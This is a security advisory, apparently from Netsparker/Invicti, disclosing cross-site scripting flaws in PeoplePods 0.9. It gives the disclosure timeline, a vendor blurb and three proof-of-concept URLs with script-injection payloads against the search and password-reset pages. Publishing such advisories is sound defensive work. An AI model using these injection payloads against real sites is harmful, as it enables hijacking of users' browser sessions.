XSS Vulnerability in PeoplePods
Information
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in PeoplePods
Software: PeoplePods 0.9 and possibly below.
Vendor Homepage: https://github.com/xoxco/peoplepods
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-028
Description
PeoplePods is an SDK for creating modern web applications where many people come together to meet, talk, share, read, work, publish and explore. Every effort has been made to NOT pigeon-hole you as a developer into one model of a site over another.
Details
PeoplePods is affected by XSS vulnerability 0.9.
PeoplePods PoC urls are as follows:
- Cross-site Scripting
http://example.com/pods/search?q='"--></style></scRipt><scRipt>alert(0x0000E5)</scRipt>http://example.com/pods/search?p='"--></style></scRipt><scRipt>alert(0x00012F)</scRipt>http://example.com/pods/password_reset/"onmouseover="alert(9)
Learn more about Cross-site Scripting vulnerabilities:
Solution
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Advisory Timeline
15/06/2014 – First Contact
15/06/2014 – Second Contact
14/08/2014 – Advisory released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
About Invicti
Invicti® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.
